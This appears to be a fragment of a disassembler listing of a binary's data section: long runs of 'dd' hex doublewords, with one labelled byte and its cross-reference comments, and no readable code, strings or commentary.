dd 0CD2255F8h, 8CB89118h, 0FE699A31h, 0F351DCEh, 6CC10020h
dd 11073256h, 4A6EC500h, 0CCA38AB1h, 0BBA800ADh, 314DDB93h
dd 0B90F029Bh, 60F589C5h, 9A5963D5h, 0BCBE0033h, 82FCC7F6h
dd 3F025C7Dh, 0D58C8D46h, 0C07E0E4Ah, 79B2C94Dh, 33070BF5h
dd 3185BA53h, 65A614C0h, 5DD40E20h, 79238E21h, 0EE0A88Ch
dd 0DC007FF7h, 1649EAC3h, 10A84EFh, 0B53918D5h, 20288879h
dd 143DB895h, 0B2860015h, 121CAAA4h, 3DB70EF4h, 0B6C0ADC3h
dd 5DEAE97Ah, 883963E4h, 374B005Ch, 3DBEE8Dh, 21510065h
dd 198209B6h, 3648228Bh, 1E530001h, 0CFCE40BEh, 0E927071Dh
dd 0D0324329h, 0FB9B2FA9h, 0A4013D71h, 2D032673h, 0E8C01CAEh
dd 0E73707A0h, 7170E2Eh, 0EFEE00DEh, 0C98443Ch, 0B300CB90h
dd 38B0FD04h, 2119CB1h, 2B47788Dh, 0FE801E68h, 0BB94ACD3h
dd 1D791300h, 3C4CA2CAh, 2FA70317h, 87DA42B3h, 8864D1B8h
dd 18FE300h, 37C416DBh, 0F66A0068h, 913A493Fh, 0ED486246h
dd 4F0775E9h, 7D32A240h, 0E27F1940h, 26297123h, 0E3F717h
dd 1F22A86Ch, 0F0072827h, 262BD72Dh, 69458820h, 0A9FF001Ah
dd 8FA8C093h, 66008C8Eh, 2D7B9509h, 0B12BEh, 3562A716h
dd 0F7205AE5h, 6366CA01h, 0FAB13F94h, 0C667E440h, 82F200ADh
dd 0BB40DE60h, 0D6000A15h, 0A0BDC42Ch, 2439705Fh, 9D5B24h
dd 0DD76B92Eh, 670426FBh, 7E51F659h, 0F3C04F83h, 4CF7B9CFh
dd 0DAE480C6h, 7F5D0FEFh, 24E0574h, 80D6D48Bh, 577C5A24h
dd 7CB66C24h, 0B237FA01h, 8EC891BAh, 83A7009Ch, 0A301E634h
dd 0C700C62Eh, 0E8F0A67Ch, 1409F7Bh, 0DA93956Fh, 4402DCF6h
dd 7A948284h, 0F03EC1E1h, 0C278DE59h, 49A76601h, 247302E1h
dd 11A6570h, 6EECB60Ch, 0D12C5061h, 7EE830C8h, 9F70EE01h
dd 0C9CBCCDEh, 89C320h, 0CDE98775h, 44C50341h, 47FBA10Eh
dd 0E0792FD0h, 0D35EE08Dh, 0B4E1010Dh, 912884DDh, 0BAC5C8CAh
dd 496F2906h, 4C60C956h, 63807C4Bh, 1EA73BADh, 0CA0515FEh
dd 0D9113814h, 4F1D8400h, 6BC3B296h, 7B008046h, 4BF9CA3Eh
dd 0A568A600h, 101C01D1h, 96D3005Fh, 0ECF49922h, 0E07CFE84h
dd 7FA43400h, 0E17C4441h, 770E0028h, 7E4DC01Bh, 0C900061Eh
dd 7F53DF22h, 13B04FAh, 4ABE3E83h, 0CC3A6C7Ah, 0B93BA5EAh
dd 0A29F00B8h, 5CE6965h, 37F07D5h, 1544C4h, 2A731EFBh
dd 694F0A1Fh, 0D076E1F0h, 0A76012E2h, 9BF4414Eh, 0D8B1BF8Eh
dd 0D40B72BEh, 806691FEh, 0D654F855h, 0C9640FFDh, 5C89F1B0h
dd 0D143C20h, 1600D4D1h, 0CF1AF688h, 0BB4CCADh, 851CA6BDh
dd 1E13B400h, 0C30002B0h, 222A709Ch, 39D15Fh, 945D44C6h
dd 19133B82h, 682CBA00h, 0FAE94C81h, 1EBD019Bh, 0E7C9106Ah
dd 2E76F4B3h, 0A4A42050h, 3CD83000h, 0CEEF3507h, 0C34B0001h
dd 0BF4C2410h, 4700C55Fh, 5228FFF6h, 479E9FBh, 90C1C249h
dd 0F7A087FDh, 62AF83E6h, 9B647080h, 752EB500h, 0C05FE405h
dd 0D990053Fh, 0CC36B944h, 61D03D0h, 3980F907h, 0A20E539Eh
dd 0FCEE044Eh, 8356ECD8h, 0A8D97AA0h, 7D80075Ch, 0F934CD9h
dd 0DAB2C89Bh, 0D2C96600h, 603BC7Bh, 428908F8h, 535CC8F9h
dd 4CBA84h, 7576F6FEh, 81FCC850h, 95B9CE50h, 87675100h
dd 0B74C6CE5h, 89641940h, 725FD0EFh, 92D605B4h, 0DE813F1Dh
dd 0B070F096h, 0A2771E51h, 0B3D1C0DCh, 4AF6865h, 2AD22060h
db 61h
byte_520045 db 0DDh, 28h, 12h ; DATA XREF: ___:00437A28o
; ___:00437A40o
dd 8070C472h, 7EBDB266h, 36081907h, 5400B524h, 1DBF0EC7h
dd 80183D05h, 806133B6h, 0E6006390h, 593536D1h, 26569CD3h
dd 801CC141h, 5A9B2181h, 0D50FCD31h, 20ED3813h, 44AC3467h
dd 0EEBE0A3Dh, 9C3E7Eh, 0E725BCC8h, 5B8E563h, 0D01FFA09h
dd 0B8280072h, 0B40934h, 0CA01508Eh, 7927D3AFh, 0C175D3B0h
dd 17000D90h, 0EA535FD2h, 395DC72h, 7E5EE999h, 0E8C03307h
dd 0DE49BA1h, 0B2104E07h, 5E0188h, 700C4FB5h, 98A200D3h
dd 7534CEBh, 0CA756AA0h, 7192BB26h, 0E59C6C01h, 9870F5A3h
dd 788C2E34h, 87AC3D50h, 16BA80D8h, 0F35BD4DAh, 3B99D600h
dd 512BC21Eh, 0B1D8132Ch, 0A4580F9Bh, 0C0AB60E4h, 0EBF4631Ch
dd 0C4376500h, 792D94CFh, 6EA3001Bh, 87DB928Ch, 64B069E1h
dd 833C6A00h, 0B70648FFh, 0B571006Ch, 1BC5F4ABh, 7C7B046Fh
dd 0A8D09400h, 0B63E0A4Fh, 0A99812A6h, 69D100FAh, 3F858CDAh
dd 2846F48h, 14EEC6B2h, 0A2CB00F3h, 0F6582EA6h, 60EC045Ch
dd 3787A831h, 3F4CE250h, 13F0900Ch, 9CBA71h, 0C8D62A30h
dd 7E4BB85h, 1F14BD4Ch, 488225E2h, 49C0A4E0h, 1BEC8684h
dd 2EB88B5Dh, 0B7051273h, 3F8F3D8Eh, 47E9C1Ch, 87C04788h
dd 31527C80h, 3742006Bh, 7E3281Eh, 0A600B4D2h, 8E01B4Dh
dd 5077556Ah, 11EF07Eh, 0F0B8E827h, 20F7F86Dh, 2338AA74h
dd 47AC80F1h, 53F3ED44h, 69C007Ah, 3FB9A686h, 5A7C0C8Dh
dd 7DF69198h, 45B1E416h, 80AFE809h, 53EF182Ch, 0D9DA1E92h
dd 275CC09Eh, 0ADD12AB9h, 6B0B6701h, 1157DE03h, 444C20h
dd 50319076h, 0BC54D8C4h, 29481C00h, 1174538Fh, 17800E19h
dd 69401442h, 0EC39EB3Dh, 945F1D00h, 70239C26h, 840B0617h
dd 0D87AAE01h, 22467D00h, 3099CBB4h, 19850705h, 55323687h
dd 0D9F0C815h, 0DB2E3307h, 9F407E46h, 75602F73h, 95263B8Ch
dd 45160707h, 0E5C10058h, 8E9539F7h, 7643C372h, 44D0CC94h
dd 0A8A10A51h, 922194h, 0B67E9738h, 6EE31850h, 13F97400h
dd 0A167D558h, 158D0032h, 0A24B2F61h, 4E0FCFE4h, 0E0F0A04Fh
dd 598720DAh, 0BACC122Ch, 8178009Eh, 5F04423Eh, 950020B8h
dd 0CB0DAD80h, 3AC87FBEh, 26812E57h, 0A83C1D10h, 0F38C2078h
dd 0B29B8E00h, 9ECF0941h, 0FFD7960h, 354B544Fh, 2900F4B4h
dd 0D859A0A9h, 0BB007C56h, 0B6D7C668h, 90119218h, 3C908Fh
dd 0D27423E0h, 28C048D6h, 52C77900h, 7704DC1Ch, 0E11F0017h
dd 0DD89F2A5h, 32016195h, 5B0FD7E6h, 0D3EF4064h, 7876D849h
dd 69E003C4h, 770C48EBh, 8A2BF7F8h, 0A4F3A201h, 0C26DCA1Bh
dd 23EA30h, 0F4FA8214h, 0F0CBCDF5h, 0EDFCBCA1h, 0CFDC38D1h
dd 0FBD0E0F2h, 73871Ah, 0C0B68698h, 7D45A17Ch, 31047700h
dd 266FA4DDh, 5EFA23h, 0E8471841h, 38647D6Ch, 0C2D09D0Bh
dd 0FA8887B7h, 0B20592D4h, 0F9DCD05Fh, 1358AAEDh, 89F72608h
dd 0FD65A900h, 947F85Eh, 324A44CAh, 40B9E041h, 67F2EEBCh
dd 9C2AA717h, 1608E502h, 0EBC0E011h, 70A3058Ah, 0EF395EAh
dd 31E061C0h, 0CC4F55DBh, 0D81AAD07h, 3F6713h, 6BACC2FAh
dd 0A93B0058h, 7EE68D9Dh, 3F00D298h, 1DCB4C0Eh, 19B3228h
dd 50CCF31Ah, 0E3331293h, 84FA72A0h, 0D800654Eh, 0CB27CD4h
dd 0D2CB0359h, 0B5D51C50h, 2BAD70E0h, 213188C0h, 408718A1h
dd 8E1FAA8Dh, 28C19903h, 6AC8FBF1h, 1113438h, 0BD3D009Ah
dd 5168C440h, 1F1B0003h, 0C378A229h, 449AC545h, 0D9C16D00h
dd 0BFACD55h, 1606E47Fh, 18472C6h, 6AE75978h, 0DC5825D5h
dd 7F3F5204h, 994B0366h, 0F0989D35h, 0EFF57D4h, 0DFC1149Fh
dd 0B8008729h, 292A2C5h, 6316BB18h, 1C86B4E6h, 70E0307h
dd 50138AE7h, 79AF7517h, 0D7007CFCh, 0E51AEAA2h, 0FC8C3AD5h
dd 36A7012Dh, 41DEA977h, 0FB8E30E9h, 12297901h, 0C037D140h
dd 25265A80h, 1E56909Ch, 24420E00h, 54EF3E93h, 22AC0062h
dd 0D6C18E84h, 0E877A45Ch, 14880607h, 80B05D39h, 58508D8Ch
dd 2017D4ABh, 465704C6h, 0DC7CC0E6h, 0CB052DA4h, 0AA96B693h
dd 0D6C08400h, 14DE47Eh, 0F7288772h, 418357F2h, 0DCAAD7A8h
dd 0B0A8D277h, 0AC003B50h, 0C0572D3h, 131DC411h, 0D27F36h
dd 0AFDD0914h, 0D89F66A5h, 501900AFh, 8533917Ch, 740F514Ch
dd 0C626600Fh, 0FE5038E6h, 311001Fh, 59E50B1Eh, 0C27D2BE3h
dd 319AF32Eh, 9024DC0Bh, 3EFE290h, 21682FCDh, 0B9F8A66Ch
dd 0CB3B8055h, 237983ADh, 0E169A3B8h, 763093AEh, 2D3005Eh
dd 6621FE97h, 811C5F76h, 28E49E6Fh, 0A7A50306h, 1E0403D9h
dd 33ADD0A0h, 2FC13DF2h, 0F3D1D313h, 4502C47h, 0C326C72Bh
dd 52F20490h, 30823FC4h, 0BC051F80h, 3301AD3Bh, 143C3400h
dd 312B0F6h, 94B61F95h, 7760C004h, 25085B29h, 688EE00Bh
dd 5E8910h, 0F439DF00h, 4AC10FA6h, 0C3C0D4E6h, 0F02584D3h
dd 47364600h, 2A083A9Ah, 978D14AFh, 641D835Ch, 80D29625h
dd 89C8494Ch, 0B0E393Bh, 1BE0D2Bh, 9CAE3D8Ch, 5863B05Ch
dd 545CCEh, 356E07B8h, 1042CD93h, 0F0FF1927h, 410E4EF8h
dd 20A0D3EEh, 0D076034Bh, 5E2900F3h, 0BF611B1Eh, 5500D7DFh
dd 1C31D885h, 0C9E89627h, 9800C830h, 71A39AE9h, 0A6CBB0A0h
dd 0EF94E300h, 0BEEC9CF7h, 18D2009Fh, 0C42C5217h, 84A09385h
dd 1A128639h, 2800D05Ch, 0E72E0D8Dh, 5980027Dh, 0A861F290h
dd 2889E0E9h, 0E3C72C4h, 0D9568F0Dh, 0E855D5h, 0C693D01Bh
dd 4E5E12BDh, 0B1840005h, 26B2E044h, 5DC5EF00h, 682D2361h
dd 8F300266h, 99D83EC0h, 0BF4A4860h, 400E8EFAh, 6191A8DFh
dd 3C72DB70h, 74AE20h, 0BD1F5B8Ah, 5F79D822h, 415A7C9Ah
dd 8EB82Ch, 568FDD0Eh, 49CB8BEh, 6B7C2B0Fh, 0A1660015h
dd 1FC1D37Eh, 0B898D45h, 7A0FF9EAh, 766811C3h, 0BDBC6E98h
dd 79830C00h, 0A65B133Eh, 0C03400AFh, 0D8536F32h, 2173581Fh
dd 15CEC302h, 0C009FD4Fh, 0B62998h, 0D40397CFh, 81AE7291h
dd 0B7E06800h, 0EA9D62F8h, 0C8BC00F6h, 3C40D5ADh, 6700509Bh
dd 3FBEF109h, 74A485h, 0A846605Ch, 0A13F824h, 0D65F5Ch
dd 6ED75070h, 8AE3E8h, 0FE0FD03Ch, 0D15BF199h, 55A1F00h
dd 82EE45A5h, 0AD172CD6h, 3D5E0028h, 1CE81224h, 272F1800h
dd 17B229ACh, 1DDA00F7h, 0BCB19FFAh, 0BFFC4645h, 0CBF5E01Fh
dd 0F683FE81h, 0E230D9BEh, 0CAE400C5h, 0DE40609Ch, 27E8EE6Ch
dd 336FFE02h, 4182D3CDh, 0B6705457h, 4F730B24h, 1A00B546h
dd 0F984786h, 4253A100h, 7311F9F5h, 9196012Dh, 1C3355D6h
dd 0C72E8FCh, 31491800h, 6859EEF7h, 0B0ED0BE8h, 2C80ABD9h
dd 0D2E2DF33h, 6B58F500h, 0B4B3EF02h, 0A2E71D45h, 0E5364091h
dd 0AAB09DD8h, 60965D00h, 0E4100175h, 9B6400CEh, 0DB811A7Bh
dd 121FC820h, 5694C9CBh, 1BC607B4h, 0D58055E8h, 0DD92F2h
dd 0BB38F56Ch, 219FEFBh, 6414AF00h, 9259ECDAh, 0C9981FDCh
dd 0C3B6C6Fh, 21B0F341h, 0A899C100h, 11E8E7ABh, 0C59C00FAh
dd 0EE7E828Eh, 0F01E13D7h, 39400FFDh, 0D66DE48Fh, 17AB00B2h
dd 3B7773F9h, 0C7FC2E47h, 42266EF0h, 0B000ED9Eh, 535A7D92h
dd 22F23C4Fh, 12BF6481h, 0D419A032h, 83289B25h, 6B00A8CBh
dd 0BDFA8BBh, 0A1AED7h, 0F28DE605h, 88DC2A66h, 2BCFA707h
dd 650307D9h, 0B9EFF0A3h, 0E7C40001h, 5096E222h, 12027A91h
dd 0F89A72C0h, 0AA8F88h, 1D178DD1h, 476628B5h, 9D502ECh
dd 228393BFh, 6CFD3040h
dd 0EA452100h, 0DDC49D3Fh, 0E82009D2h, 54105BEBh, 8F0080CBh
dd 46A645B1h, 1ECFFC43h, 85CCC1F6h, 0E5B341h, 94ECC490h
dd 6A01F022h, 0FC90671Eh, 0EC40DA40h, 686EE5h, 86CCAE54h
dd 15F63F0Ch, 21C078B0h, 5C94F5FCh, 0F2B300A7h, 0B614278Dh
dd 0FF7DAC46h, 94606628h, 0C965D100h, 0B10D30B7h, 0B3B21755h
dd 27C70431h, 150090F1h, 64005312h, 96DFD5B5h, 0B1F58Bh
dd 0B8F76051h, 8744C335h, 0E81C1F00h, 0EA6BDA9Dh, 48A8072Ch
dd 375EF7Dh, 0DEB645Ch, 0D2EC80F8h, 690011E4h, 90D012D4h
dd 1B12484h, 28E39616h, 0FD486E01h, 4348205Ah, 1F621F44h
dd 806DD311h, 36532CDEh, 0A30038B7h, 0E618F8C6h, 5FBAF93h
dd 5C32BC0h, 0E403EA3Eh, 0A9BABC25h, 0E440FE1Ch, 36A1Bh
dd 400C4C3Fh, 92B82495h, 141C823Dh, 3E6654Fh, 0BE31E45Fh
dd 0F55AF93Eh, 6100E022h, 6F3C96B2h, 0E74C9447h, 0C7320097h
dd 8FE55ACh, 0CFDE4CDCh, 3E246000h, 18C4C930h, 95A23101h
dd 1D536682h, 0FF1D0h, 891AE3CBh, 0C53C08ABh, 2A1C2605h
dd 8C032C95h, 0C19EA6E1h, 1FF06DC0h, 0FE5600E6h, 53194BA5h
dd 1E000FF5h, 0DA81A2CFh, 68A9FFA0h, 109824BEh, 1653002Ch
dd 2F4EECB4h, 0A3015A1h, 3601F8BDh, 77D1D46Fh, 0AE68D87Ah
dd 0ED162E00h, 911F3CD9h, 4D60578h, 0CF4B95Ch, 74395B9Ch
dd 0AC01BFEEh, 431999ABh, 34245677h, 0B21800D7h, 1A29C5DCh
dd 0AE24984Ah, 0E4011C95h, 860EEB3Dh, 13889434h, 484135h
dd 0D7C811D2h, 22F2C3CBh, 0BAA9500h, 0D9897DDCh, 5F5C002Dh
dd 17AEF32Ah, 29000F8Ch, 8F7FF906h, 836910h, 70735350h
dd 93C4EE15h, 0A5AD8100h, 5ABAC1D4h, 5DC60B85h, 9C8F6564h
dd 2EE590C0h, 0D60019C0h, 0A5FD83BBh, 696CDBh, 4AC201F9h
dd 4D3D4C1Dh, 0F849FB0Ah, 0BF00F85Fh, 42D3AFC6h, 0D49A00A0h
dd 19AAD554h, 0E80384E4h, 8530F7B5h, 0C23E9078h, 0E5000A7h
dd 0DF76F070h, 100730Ch, 19CBF716h, 18C881C6h, 0C0346490h
dd 6C1CE9EAh, 0B01E418h, 86ACF7EBh, 945121CDh, 99C76285h
dd 0B60AB7Ah, 97E9006Dh, 0A73EE282h, 0D802B765h, 4AA9C1D7h
dd 0FCE080ABh, 188AC7h, 0B46C37CEh, 6206740Ch, 78DDEE00h
dd 0CC79D58Bh, 0A751000Ah, 48A5DC6Dh, 430702B6h, 0C3196915h
dd 86067370h, 7F9B72FAh, 0F09071h, 0E577578Bh, 0E6D5AB04h
dd 98031C3Dh, 0AD2491FCh, 59D202DEh, 673EAA1Ah, 44D41440h
dd 0F633051Dh, 2754804Eh, 0AF811202h, 95C09342h, 0C02602DEh
dd 8D5B2421h, 77D0DB00h, 8FF31EBBh, 0F848303Eh, 0BF1B7AB4h
dd 0B810FE1Eh, 78893CE7h, 0DD9D0EE6h, 0FA608330h, 17D3DBCDh
dd 96006492h, 855C0595h, 4DAC1Ah, 254C8349h, 0E2DCEED6h
dd 0F8016400h, 78621B2Fh, 244B0011h, 424DF9CBh, 0FA245C97h
dd 0B20744A8h, 57D0C99Ah, 0B3F9950h, 12686978h, 46E21880h
dd 1D00DFC3h, 9CAD86F1h, 0B8A25ED5h, 78DA04F5h, 80A17659h
dd 7A0AF830h, 51E5840Fh, 18A5C30Ch, 99BCD82Ah, 0F3E30064h
dd 356358E1h, 3D026668h, 2019523Ch, 7F404065h, 17EE0386h
dd 14DB6002h, 5BE59588h, 3B44AD00h, 0C5F0B4F5h, 7E3A24B8h
dd 0CE110034h, 9F3537B0h, 0C8B34E00h, 0D90B28D6h, 8C00486h
dd 8041A450h, 0AC2FAA40h, 0DCD4FD89h, 0FB5A0590h, 2AFF6B3h
dd 0DE08EBA4h, 0FC5FF049h, 0FB17F7F3h, 48005B7Eh, 9EE79A57h
dd 2A4F00F1h, 0EFABD508h, 5403B27Bh, 8A680BB8h, 34718031h
dd 493BF633h, 0AE0054A9h, 54647C9Eh, 0C898F3C6h, 0EDF18600h
dd 0B9B59DECh, 6B6E0046h, 7FAC58CDh, 4008B3Fh, 0F0E2C98h
dd 5D7299h, 2036886h, 0D233F0C5h, 9DAF950Fh, 39F8A0F5h
dd 0FC1DA0h, 3A475FFDh, 0BE5BE6F3h, 428CDD00h, 0C26C6E34h
dd 1B4E167Ah, 1A80078h, 0ECC23A2h, 7FC75400h, 0E4F759F0h
dd 0E0D9F402h, 135174FAh, 0B59A75h, 64F625B1h, 0F10744A4h
dd 5EF00474h, 81CDE580h, 10940028h, 9ED44695h, 4F03D714h
dd 0B0980F9h, 492DD8B8h, 9DA02CB1h, 9627003Ch, 0ACE1689Bh
dd 5BC4DB00h, 4624F22Fh, 0D7621F0Ch, 84043F63h, 80958869h
dd 2644C28Eh, 0EC0C58F6h, 11408B91h, 0D790D1h, 0D214C627h
dd 67E3C2ADh, 8F910909h, 1CE98145h, 1E709B73h, 0A8AA00B1h
dd 42193FA1h, 0D0167CAEh, 8006011Eh, 8E452Fh, 58C5885Ah
dd 626F9BF9h, 8F3CF67Eh, 1A9F9325h, 0DBA75003h, 0CA3AF963h
dd 0D020E7E1h, 62A41DF4h, 0F03097D2h, 30038BFh, 349D9AA8h
dd 1555C4h, 4937DB95h, 0F16D4378h, 0E2E37701h, 0A6C8B168h
dd 0CD55E4h, 0E0F3E792h, 8EB38663h, 9E5D7F0Eh, 0DD2040F6h
dd 2E18B6A8h, 424CDEh, 933107B2h, 4739B70Fh, 8C2F07A7h
dd 0E00FE9DBh, 0CB1A7CC7h, 0FC9495h, 2707762Bh, 0B1CFBB3h
dd 9B47AB11h, 0A4301A56h, 0E09A66h, 60C5C704h, 7E9D2CC3h
dd 0AE030207h, 7780C06Eh, 0F9FD15Ah, 60B00B01h, 781D9841h
dd 0B5BC6058h, 0FBC5B700h, 5F57D8F6h, 0FCFD39BEh, 0C0109E80h
dd 0A6327FBAh, 6C748D02h, 0C8CD6D07h, 38284Ch, 568F7870h
dd 7950A4D2h, 1B06B902h, 0E0B6844Dh, 3A97ED3Ch, 6105AC04h
dd 0D0641335h, 0A499DF48h, 0F274DC03h, 0A34CEF5Dh, 0F909A06Ah
dd 995A61D9h, 0BC4411D6h, 0ECC10030h, 8CC31CFAh, 1E550005h
dd 48B354A0h, 44155124h, 1CE4CBh, 7F062635h, 0BE1C354h
dd 6207883Fh, 400348Fh, 0F947E5FAh, 883E18A0h, 21BD6336h
dd 39EB0068h, 0F26CD099h, 215EF87h, 2A30F6F9h, 0B4094C22h
dd 85291C05h, 442021E0h, 0E6F955CEh, 8E7500C5h, 71B2F604h
dd 21004A82h, 0DC9EE683h, 5A4337h, 0B6CF875Fh, 0A97C25EAh
dd 73865300h, 0A89B31F6h, 3E2E005Eh, 1DEE5C3Bh, 350059D1h
dd 215F94DAh, 0AFADFBh, 0C67FFDF1h, 523E450Eh, 9181CBh
dd 3BC5C40Eh, 0DD5B01ADh, 0E9DFC6E3h, 5A41CCBBh, 22F08700h
dd 996346AAh, 0F861006Eh, 8169CFFEh, 686E5A19h, 4B8AE018h
dd 246033B5h, 401C3951h, 6F851BF1h, 277CEF03h, 0D7A4D6A5h
dd 7216246h, 2685539Ch, 983F106Dh, 310020E8h, 0C286FDC3h
dd 9E91DCDh, 69CEABECh, 10600C20h, 830AFB6h, 7326114Bh
dd 0C29E0311h, 0CB64F954h, 8FA1FA93h, 42080B0h, 4DE9116Bh
dd 0C81B3887h, 0AB4C5E8Eh, 0B1EA2440h, 11B03E40h, 0B077576h
dd 56BB450Dh, 0B39E13h, 0A4154640h, 491E4E1Fh, 3592440Ch
dd 0C0C70899h, 1FAC7721h, 760C0740h, 192178A6h, 0E25419B5h
dd 0F0C3A941h, 901C104Ah, 848CC499h, 70CBD89Bh, 0CD7700E2h
dd 29603064h, 5E50EA2Ah, 2074D0ACh, 0BCFED400h, 0FAEE4992h
dd 3406005Ah, 0D10CEC8Ah, 393B084Dh, 0C3A28381h, 90791AD8h
dd 0FBDCE17h, 0DEC80D53h, 8C3AB580h, 893F55E1h, 0EC820077h
dd 99BB8A0Eh, 922400FAh, 6A7CB1BCh, 0DC301071h, 9DC950FFh
dd 3080E9EAh, 0BF11E163h, 640FDE89h, 80DD97CFh, 4146159Bh
dd 0D0ED3E7Ah, 96BA85BDh, 4A0F7B3Ch, 125F7254h, 0F62A0678h
dd 2E00A93Dh, 69196C9Dh, 31D7163h, 6A70511Bh, 0DC903F65h
dd 0DF816C3h, 1884780Ch, 41791881h, 1C5660D6h, 0B98E0200h
dd 0D9840437h, 0F170004Dh, 0AF4C4FA1h, 0FB0099D7h, 5607CB63h
dd 0C547C8h, 12F866D5h, 0A7155E6Fh, 0B06D6E00h, 0A8806A88h
dd 9D9201EAh, 4A76DDE5h, 5E5BE0EBh, 6ABB8201h, 6319BCB5h
dd 82362990h, 2F54DDEh, 0A122C47Eh, 214A2466h, 6A125B17h
dd 6F472882h, 0DC21EE24h
dd 667990E6h, 48541284h, 862F80E2h, 0F3C7D7FFh, 0FC394D1Fh
dd 0A1CDE980h, 3FCE7925h, 7B810FD0h, 5113F403h, 2BA8F0CCh
dd 0EE18FA00h, 7E88AC87h, 0D171D2h, 0B60F3DD8h, 0F107BFA8h
dd 67929900h, 0AFD98A5Dh, 4B7D70D5h, 0F8A85Bh, 7CEB0AC9h
dd 0E4996209h, 3FD37458h, 9580D7FCh, 2903C875h, 0A200B5FAh
dd 98F047B2h, 0C7C096h, 85444D5Bh, 0A9D4614Eh, 1C779A00h
dd 0BB9E62A7h, 0F4C50007h, 0A39195FCh, 0A200E1BAh, 204E1334h
dd 0DD876Eh, 5FFEC9Dh, 9E597027h, 0CFBAAE01h, 654C5007h
dd 4949109Eh, 92073FEAh, 4E718043h, 0F8036D6Fh, 8A2CA01Ah
dd 31F0F05Bh, 0B20800B3h, 6E55E333h, 510082C3h, 0AF43FC5h
dd 7F68C34h, 727D75CCh, 3205303Bh, 9019BE8h, 0A9465D4Dh
dd 9080AC2Ch, 27699F03h, 0C1090FB9h, 2FF0E0F2h, 88C36130h
dd 288075B6h, 0B724B074h, 86004DDAh, 580736FEh, 1BE1969h
dd 5ED8CFD5h, 0F45565A7h, 9A17B4E8h, 0AC00A5BCh, 0F5ECC63Eh
dd 0BB5907EBh, 0A09EB558h, 0FEEDF7B7h, 5B12A800h, 0B0BDCCB3h
dd 16E8001Ch, 10E55315h, 2906ED7Eh, 0E9317489h, 204C0018h
dd 3340FDA9h, 0DC0063A6h, 5B64CF9Ah, 26617Ch, 0E028E2E8h
dd 89AF5DBAh, 0A8603507h, 3E80EF34h, 3DA9EE87h, 5B87EA48h
dd 0E023C888h, 259AFE9Fh, 0C5E5A700h, 3DEF4394h, 5CEA8Bh
dd 0F93C7CEDh, 1A1DDE09h, 8E219200h, 0E5F237C3h, 0C4660033h
dd 0B31C4518h, 0AE00B852h, 0C35C0D54h, 0CAAB51h, 3CE69FC6h
dd 0C88B62B7h, 0F1453B28h, 0B0C1E5B0h, 4A90720Eh, 0CB948080h
dd 63D9C0FAh, 0DA068F00h, 79E72C31h, 0D2920026h, 95D87471h
dd 4C00A3D9h, 52B67217h, 0FC24D3B4h, 307192h, 0CB798D2Eh
dd 89ECCF9Fh, 0AD009AE4h, 0E5A48BA9h, 106855Ah, 0F220B36h
dd 0F0544FBDh, 0EA0F3763h, 207D83EFh, 0FBF24D03h, 73D40EE3h
dd 8FE0A590h, 4C3A7B2Bh, 1C1A6A00h, 0B578932Eh, 0A2100097h
dd 91A59B4Eh, 550445BCh, 0E85347A3h, 2C372C80h, 97060A0Ah
dd 98F7F0h, 345A80D8h, 2500FB4Bh, 0F48BB017h, 0F81604h
dd 0B1D66D32h, 8C9F06EEh, 0A7CF7900h, 651461C0h, 640C3966h
dd 12A67E83h, 0C0004CDDh, 0CC43FAC1h, 0C08CEAh, 51041D83h
dd 26330C8Eh, 0B60E360Eh, 77DC607Fh, 8412B0h, 860DC988h
dd 1E68C2Ch, 64F41607h, 83F0A932h, 0A69765h, 0B8093F4Dh
dd 535048A2h, 0F5D0C350h, 2E663E6h, 0F746101Fh, 0BE7AE780h
dd 0FB63A13h, 9B04165Bh, 0F0FD8720h, 3600B15Ch, 0DC6A7558h
dd 1C97800Fh, 80219E4Ah, 0F7282FBCh, 0C50095D6h, 34C18B1h
dd 0B8BA58h, 0C9AA08F2h, 94E640BDh, 0F066D201h, 0B8C207Ch
dd 0ECE36CD0h, 0E0355B53h, 0BA0E1058h, 0E0A13FCAh, 8A65DEEEh
dd 52F100FCh, 3B0FBFD4h, 400043F5h, 837146BEh, 3FD961ADh
dd 578055E8h, 185E7BA6h, 0F000E412h, 0A05DCCCAh, 7678FBABh
dd 0B8160209h, 96D5C729h, 0CA870C60h, 0F84CF979h, 3FD10BCBh
dd 528080BAh, 0F3EA8Ah, 7DA6B3C5h, 0CB34E3D4h, 78B5100h
dd 0E135DF0h, 752000ADh, 501EF3D0h, 0C41F2B0Fh, 77842CFCh
dd 7C802A89h, 0B3B66Eh, 70D7573Ch, 0CFA25EE1h, 55339F00h
dd 12CE209Ah, 0E02350A4h, 8D409DFh, 440088B6h, 72ABAE8Ah
dd 0E7FE6200h, 1435056Eh, 4432265Ah, 932A005Fh, 4C17770Bh
dd 63BDA400h, 0DB8088B8h, 0F67F84h, 0C5463419h, 0E9FFEFF1h
dd 35081203h, 81673Eh, 391B3620h, 0DB6DDDCFh, 5185BE18h
dd 13E58A29h, 626C1Eh, 812F0BC0h, 9C00D473h, 0B7151A6Bh
dd 2B896Eh, 203D2E62h, 1CD848B6h, 0D08BA200h, 0BC7153B0h
dd 93730027h, 0E384C210h, 0F6007E58h, 2D0ABE45h, 5AC552A6h
dd 32B282E1h, 9F8D7E0h, 0EF002B7Ch, 0F69BE525h, 1E47167Eh
dd 0BE3BB1h, 0E1899392h, 0B0023135h, 0ABF7F396h, 9C441F6h
dd 63AFA7C4h, 177E2819h, 1847C4BAh, 1116550Ch, 81A500A2h
dd 0BFF57985h, 15091F6Fh, 8F7A4B5Dh, 0A89ADB44h, 5F6370h
dd 8B41C44Eh, 4B7B135Ch, 0EFFDCE00h, 89B0D96Dh, 0F07E003Ah
dd 7986F3E5h, 1A010408h, 0B271386Bh, 0BFEC75BAh, 0FB1800E9h
dd 47D43BA4h, 2E000AEFh, 0B84CE7DCh, 4BD616h, 0FF6886F0h
dd 2D14ACA3h, 5C19890Eh, 0F574C37Ah, 885193EEh, 0FA3A5Bh
dd 0C2E2D1A5h, 895E9358h, 73CDEB00h, 94555C85h, 0F3AC0029h
dd 21E9B98Ch, 31005DF6h, 0B7D08E25h, 3DD1A65Ch, 1600891Ah
dd 3A235ACFh, 3CFAE563h, 1D8DC800h, 0AE34B8B3h, 4A75386Bh
dd 635E9081h, 711C3DABh, 0E73120DEh, 0D2628700h, 0F732EE80h
dd 114500B8h, 819BDAC6h, 7A0005C7h, 29E63404h, 0FDCCD7Fh
dd 495BF336h, 0C09193A7h, 0D14266ABh, 0BFC84A00h, 1BE82B38h
dd 0F16200C6h, 0A6E20B1Ch, 59263F92h, 0CB00442Eh, 0FEAFB939h
dd 0D0BC002Ah, 24A8E735h, 5A0956D9h, 80C58A66h, 1C93B54h
